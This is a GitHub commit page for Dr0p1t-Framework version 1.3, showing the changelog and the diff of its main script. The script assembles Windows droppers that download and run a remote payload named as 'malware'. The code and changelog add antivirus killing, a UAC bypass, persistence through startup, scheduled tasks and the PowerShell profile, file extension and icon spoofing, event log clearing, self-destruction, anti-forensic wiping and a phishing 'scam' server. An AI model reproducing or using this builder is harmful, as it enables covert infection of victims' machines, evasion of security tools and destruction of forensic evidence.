Skip to content

Commit 585ad43

Browse files
committed
Update : version 1.3 codename : Retr0
See CHANGELOG.md
1 parent 7f36e57 commit 585ad43

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

51 files changed

+1502
-264
lines changed

CHANGELOG.md

+20-2
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,22 @@
1-
# Version 1.2 ( Stable )
1+
# Version 1.3
2+
## A huge update to fix and make improvements like :
3+
- [Feature] Adding spoof extension feature so now you can change the file extension and icon to make it full spoof :smile:
4+
- [Improve] Added OSX support ( Thanks to @sm4sh3r )
5+
- [Improve] Now there will be debug file when happen error in compiling with Pyinstaller.
6+
- [BUG fix] Full rewriting the framework to improve the executions methods and fix all the errors
7+
- [BUG fix] Bypassed the error in the Pyinstaller **"FATAL ERROR"** with replacing subprocess Pipes with files :smile:
8+
- [Stealth] Escaping disk forensics by making all the files dropper create and dropper also cleans its content before deletion.
9+
- [Feature] Adds ZIP files support so now you can compress your executable to zip file before uploading
10+
- [Feature] Added Dr0p1t-Server feature (beta) so now you can work from browser [See how to work with Dr0p1t-Server](https://github.com/D4Vinci/Dr0p1t-Framework#Work-with-Dr0p1t-Server)
11+
- [Feature] Added Scamming feature (beta) to Dr0p1t-Server [See how to edit Dr0p1t-Server scam ](https://github.com/D4Vinci/Dr0p1t-Framework#Work-with-Dr0p1t-Server)
12+
- [Stealth] Clear event log after finishing
13+
- [Improve] Added install.sh to make installing on Linux more easy
14+
- [Improve] Persistence modules are now improved and recoded to work much better.
15+
- [Feature] Added new a new-hard-to-detect persistence module ( Adding your file to powershell user profile so your file will be downloaded and ran every time powershell.exe run if it doesn't exist).
16+
- [Feature] Added a new module to bypass UAC and run your malware as admin
17+
18+
19+
# Version 1.2
220
## A huge update to fix some things like add-cross compile problem and some improvements :
321
- Pyinstaller compiling in Linux using wine
422
- Pyinstaller compiling in Windows will not use UPX and that will fix the compiling in windows
@@ -24,5 +42,5 @@
2442
- Improved or fixed the startup persistence module .
2543
- Some improvements and fixes.
2644

27-
# Version 1.0 (Beta)
45+
# Version 1.0 (Alpha)
2846
### The first release :smile:

Dr0p1t.py

+90-37
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
#Written by: Karim shoair - D4Vinci ( Dr0p1t-Framework )
33
from core.banners import random_banner as banner
44
from core.color import *
5+
from core.Phishing import *
56
from core import color,updater
67
import argparse ,os ,textwrap ,sys ,subprocess, shutil ,random
78

@@ -12,10 +13,10 @@
1213
description=textwrap.dedent( warn() ),
1314
epilog="""\nExamples :
1415
./Dr0p1t.py Malware_Url [Options]
15-
./Dr0p1t.py https://test.com/backdoor.exe -s -t -k --upx
16+
./Dr0p1t.py https://test.com/backdoor.exe -s -t -a -k --runas --upx
1617
./Dr0p1t.py https://test.com/backdoor.exe -k -b block_online_scan.bat --only32
17-
./Dr0p1t.py https://test.com/backdoor.exe -s -t -k -p Enable_PSRemoting.ps1
18-
./Dr0p1t.py https://test.com/backdoor.exe -s -t -k --nouac -i flash.ico
18+
./Dr0p1t.py https://test.com/backdoor.exe -s -t -k -p Enable_PSRemoting.ps1 --runas
19+
./Dr0p1t.py https://test.com/backdoor.zip -t -k --nouac -i flash.ico --spoof pdf --zip
1920
2021
Note : Scripts like (bat\\ps1\\vbs) can only loaded from the scripts folder.
2122
So if you wanna use custom scripts made by yourself,put it in the scripts folder.
@@ -24,16 +25,21 @@
2425
parser.add_argument("url", metavar='Malware_url',nargs="?", help="Url to your malware")
2526
parser.add_argument("-s", action='store_true', help="Add your malware to startup (Persistence)")
2627
parser.add_argument("-t", action='store_true', help="Add your malware to task scheduler (Persistence)")
28+
parser.add_argument("-a", action='store_true', help="Add your link to powershell user profile (Persistence)")
2729
parser.add_argument("-k", action='store_true', help="Kill antivirus process before running your malware.")
2830
parser.add_argument("-b", help="Run this batch script before running your malware. Check scripts folder")
2931
parser.add_argument("-p", help="Run this powershell script before running your malware. Check scripts folder")
3032
parser.add_argument("-v", help="Run this vbs script before running your malware. Check scripts folder")
31-
parser.add_argument("--only32",action='store_true', help="Download your malware for 32 bit devices only")
32-
parser.add_argument("--only64",action='store_true', help="Download your malware for 64 bit devices only")
33+
parser.add_argument("--runas",action='store_true', help="Bypass UAC and run your malware as admin")
34+
parser.add_argument("--spoof", help="Spoof the final file to an extension you choose.")
35+
parser.add_argument("--zip",action='store_true', help="Tell Dr0p1t that the malware in the link is compressed as zip")
3336
parser.add_argument("--upx",action='store_true', help="Use UPX to compress the final file.")
3437
parser.add_argument("--nouac",action='store_true', help="Try to disable UAC on victim device")
35-
parser.add_argument("--nocompile",action='store_true', help="Tell the framework to not compile the final file.")
3638
parser.add_argument("-i", help="Use icon to the final file. Check icons folder.")
39+
parser.add_argument("--noclearevent",action='store_true', help="Tell the framework to not clear the event logs on target machine after finish.")
40+
parser.add_argument("--nocompile",action='store_true', help="Tell the framework to not compile the final file.")
41+
parser.add_argument("--only32",action='store_true', help="Download your malware for 32 bit devices only")
42+
parser.add_argument("--only64",action='store_true', help="Download your malware for 64 bit devices only")
3743
parser.add_argument("-q", action='store_true', help="Stay quite ( no banner )")
3844
parser.add_argument("-u", action='store_true', help="Check for updates")
3945
parser.add_argument("-nd", action='store_true', help="Display less output information")
@@ -45,7 +51,7 @@ def PyInstaller():
4551
else:
4652
if sys.platform == "darwin": # On osx, the default .wine directory is located on $HOME/.wine/
4753
installer = "wine " + os.environ['HOME'] + "/.wine/drive_c/Python27/python.exe " + os.environ['HOME'] + "/.wine/drive_c/Python27/Scripts/pyinstaller-script.py"
48-
else: # TODO: find all defaults location for .wine , or request it directely to the user if not found.
54+
else: #ToDo: find all defaults location for .wine , or request it directely to the user if not found.
4955
installer = "wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py"
5056

5157
p = subprocess.Popen( installer + " -h",shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE )
@@ -57,7 +63,7 @@ def PyInstaller():
5763

5864
def get_code(f):
5965
code = open( f,"r" ).read()
60-
return code.split("#Start\n")[1]
66+
return "\n"+code.split("#Start")[1]
6167

6268
def make_copy( old,new ):
6369
old_file = open( old,"rb" )
@@ -68,7 +74,7 @@ def make_copy( old,new ):
6874
new_file.close()
6975

7076
def random_name():
71-
return "Your_daily_malware_" + str(random.randint(0,100))
77+
return "Dr0pp1r" + str(random.randint(0,100))
7278

7379
def clear():
7480
if os.name=="nt":
@@ -115,7 +121,7 @@ def main():
115121
url = args.url
116122
p = "resources"
117123
fullp = os.getcwd()
118-
command = installer +" -F --noupx {} "
124+
command = installer +" --noconsole -F --noupx {} "
119125
bat_path = ["scripts","bat"]
120126
ps1_path = ["scripts","powershell"]
121127
vbs_path = ["scripts","vbs"]
@@ -124,55 +130,85 @@ def main():
124130
print_status(args)
125131
colored_print( " [*] Creating DR0P3R..","g" )
126132

133+
f += "#!/usr/bin/python\n"
134+
f += "# -*- coding: iso-8859-15 -*-\n"
127135
f += 'import subprocess\n'
128136

137+
f += get_code( os.path.join(p,"pre_run.py") )+"\n"
138+
#this functions for :
139+
#get_output(cmd): to get output of command without using pipe to escape the fatal error after compiling !!
140+
129141
if args.k:
130142
if not args.nd:
131143
colored_print( " [*] Adding kill antivirus function..","g" )
132144
f += get_code( os.path.join(p,"killav.py") )+"\n"
133145

134146
if sys.version_info[0]==3:
135-
f += 'from urllib.request import urlretrieve\n'
147+
f += '\nfrom urllib.request import urlretrieve'
136148
elif sys.version_info[0]==2:
137-
f += 'from urllib import urlretrieve\n'
138-
139-
f += get_code( os.path.join(p,"dropper.py") )+"\n"
149+
f += '\nfrom urllib import urlretrieve'
140150

141151
if "http" not in url:
142152
url = "http://"+url
143153

144154
if args.only32:
145-
f += 'fire_things_up("{}",arch="32")\n'.format( url )
155+
if args.zip:
156+
f += get_code( os.path.join(p,"dropper.py") ).replace("##~Import-Here~##","import zipfile").split("#Someshit")[0]+"\n"
157+
f += '\nfire_things_up("{}","32",True)\n'.format( url )
158+
else:
159+
f += get_code( os.path.join(p,"dropper.py") ).split("#Someshit")[0]
160+
f += '\nfire_things_up("{}","32")\n'.format( url )
161+
146162
elif args.only64:
147-
f += 'fire_things_up("{}",arch="64")\n'.format( url )
163+
if args.zip:
164+
f += get_code( os.path.join(p,"dropper.py") ).replace("##~Import-Here~##","import zipfile").split("#Someshit")[0]+"\n"
165+
f += '\nfire_things_up("{}","64",True)\n'.format( url )
166+
else:
167+
f += get_code( os.path.join(p,"dropper.py") ).split("#Someshit")[0]
168+
f += '\nfire_things_up("{}","64")\n'.format( url )
169+
148170
elif not args.only32 or not args.only64:
149-
f += 'fire_things_up("{}")\n'.format( url )
171+
if args.zip:
172+
f += get_code( os.path.join(p,"dropper.py") ).replace("##~Import-Here~##","import zipfile").split("#Someshit")[0]+"\n"
173+
f += '\nfire_things_up("{}",False,True)\n'.format( url )
174+
else:
175+
f += get_code( os.path.join(p,"dropper.py") ).split("#Someshit")[0]
176+
f += '\nfire_things_up("{}")\n'.format( url )
177+
178+
if args.runas:
179+
f += get_code( os.path.join(p,"runas.py") )
180+
else:
181+
f += get_code( os.path.join(p,"dropper.py") ).split("#Someshit")[1]
150182

151183
if args.s:
152184
if not args.nd:
153185
colored_print( " [*] Adding startup function..","g" )
154-
if "from random import randint" not in f:
155-
f+="from random import randint\n"
156-
if "File = 'hosts.exe'" not in f:
157-
f+="File = 'hosts.exe'\n"
186+
if "File = 'library.exe'" not in f:
187+
f+="\nFile = 'library.exe'"
158188
f += get_code( os.path.join(p,"add2startup.py") )+"\n"
159189

160190
if args.t:
161191
if not args.nd:
162192
colored_print( " [*] Adding task function..","g" )
163-
if "from random import randint" not in f:
164-
f+="from random import randint\n"
165-
if "File = 'hosts.exe'" not in f:
166-
f+="File = 'hosts.exe'\n"
193+
if "File = 'library.exe'" not in f:
194+
f+="\nFile = 'library.exe'"
167195
f += get_code( os.path.join(p,"add2task.py") )+"\n"
168196

197+
if args.a:
198+
if not args.nd:
199+
colored_print( " [*] Adding add2profile function..","g" )
200+
if "File = 'library.exe'" not in f:
201+
f+="\nFile = 'library.exe'\n"
202+
f += "\nlink='{}'".format(url)
203+
f += get_code( os.path.join(p,"add2profile.py") )+"\n"
204+
169205
if args.b:
170206
try :
171207
if not args.nd:
172208
colored_print( " [*] Adding runbat function..","g" )
173209
bat_path.append(args.b)
174210
ff = open( os.path.join(*bat_path ) ).read()
175-
f += "Bat_Script_Data = '''{}'''\n".format( ff )
211+
f += "\nBat_Script_Data = '''{}'''".format( ff )
176212
f += get_code( os.path.join(p,"Runbat.py") )+"\n"
177213
except:
178214
colored_print( " [!] Error in reading bat file,are you sure it's in scripts folder ?","r" )
@@ -183,7 +219,7 @@ def main():
183219
colored_print( " [*] Adding runps1 function..","g" )
184220
ps1_path.append(args.p)
185221
ff = open( os.path.join(*ps1_path ) ).read()
186-
f += "Ps1_Script_Data = '''{}'''\n".format( ff )
222+
f += "\nPs1_Script_Data = '''{}'''".format( ff )
187223
f += get_code( os.path.join(p,"Runps1.py") )+"\n"
188224
except :
189225
colored_print( " [!] Error in reading ps1 file,are you sure it's in scripts folder ?","r" )
@@ -194,7 +230,7 @@ def main():
194230
colored_print( " [*] Adding runvbs function..","g" )
195231
vbs_path.append(args.v)
196232
ff = open( os.path.join(*vbs_path ) ).read()
197-
f += "Vbs_Script_Data = '''{}'''\n".format( ff )
233+
f += "\nVbs_Script_Data = '''{}'''".format( ff )
198234
f += get_code( os.path.join(p,"Runvbs.py") )+"\n"
199235
except :
200236
colored_print( " [!] Error in reading vbs file,are you sure it's in scripts folder ?","r" )
@@ -206,8 +242,14 @@ def main():
206242

207243
colored_print( " [*] Adding self destruct function..","g" )
208244
f += get_code( os.path.join(p,"SelfDestruct.py") )+"\n"
245+
246+
if not args.noclearevent:
247+
colored_print( " [*] Adding clear eventlog function..","g" )
248+
f += get_code( os.path.join(p,"Clearev.py") )+"\n"
249+
209250
colored_print( " [*] Saving the final file..","g" )
210251
file_name = random_name()
252+
211253
os.chdir("temp")
212254
fo = open( file_name+".py","w" )
213255
fo.write(f)
@@ -217,20 +259,22 @@ def main():
217259
if PyInstaller():
218260
colored_print( " [*] Compiling the final file to exe..","g" )
219261
if args.i:
220-
try:
262+
if os.path.isfile( os.path.join(fullp,"icons",args.i) ):
221263
if not args.nd:
222264
colored_print( " [*] Adding icon to the final file..","g" )
223-
ff = open( os.path.join(fullp,"icons",args.i) ).read()
224265
command += "--icon=" + os.path.join(fullp,"icons",args.i)
225-
except:
266+
else:
226267
colored_print( " [!] Error in icon file,are you sure it's in icons folder ?","r" )
227268

228-
try:
229-
p = subprocess.Popen( command.format(file_name+".py"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
230-
(output, err) = p.communicate()
231-
pw = p.wait()
232-
except:
233-
colored_print( " [!] Error in compiling file,are you sure pyinstaller is installed ?","r" )
269+
p = subprocess.Popen( command.format(file_name+".py"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
270+
(output, err) = p.communicate()
271+
debug = output.decode() + "\n" + err.decode()
272+
pw = p.wait()
273+
if "Traceback" in debug:
274+
f=open("debug.txt","w")
275+
f.write(debug)
276+
f.close()
277+
colored_print( " [!] Error in compiling file [ See debug.txt file in temp folder ! ]","r" )
234278
sys.exit(0)
235279

236280
file_name = get_executable()
@@ -242,6 +286,15 @@ def main():
242286

243287
os.chdir("..")
244288
make_copy( os.path.join("temp","dist",file_name),os.path.join("output",file_name) )
289+
290+
if args.spoof:
291+
if not args.nd:
292+
colored_print( " [*] Spoofing the final file extension..","g" )
293+
if Spoof_extension(os.path.join("output",file_name),args.spoof):
294+
colored_print( " [*] File extension spoof complate !","g" )
295+
else:
296+
colored_print( " [!] File extension spoof failed !","r" )
297+
245298
else:
246299
colored_print( " [!] PyInstaller not installed : Can't compile file to exe..","r" )
247300

0 commit comments

Comments
 (0)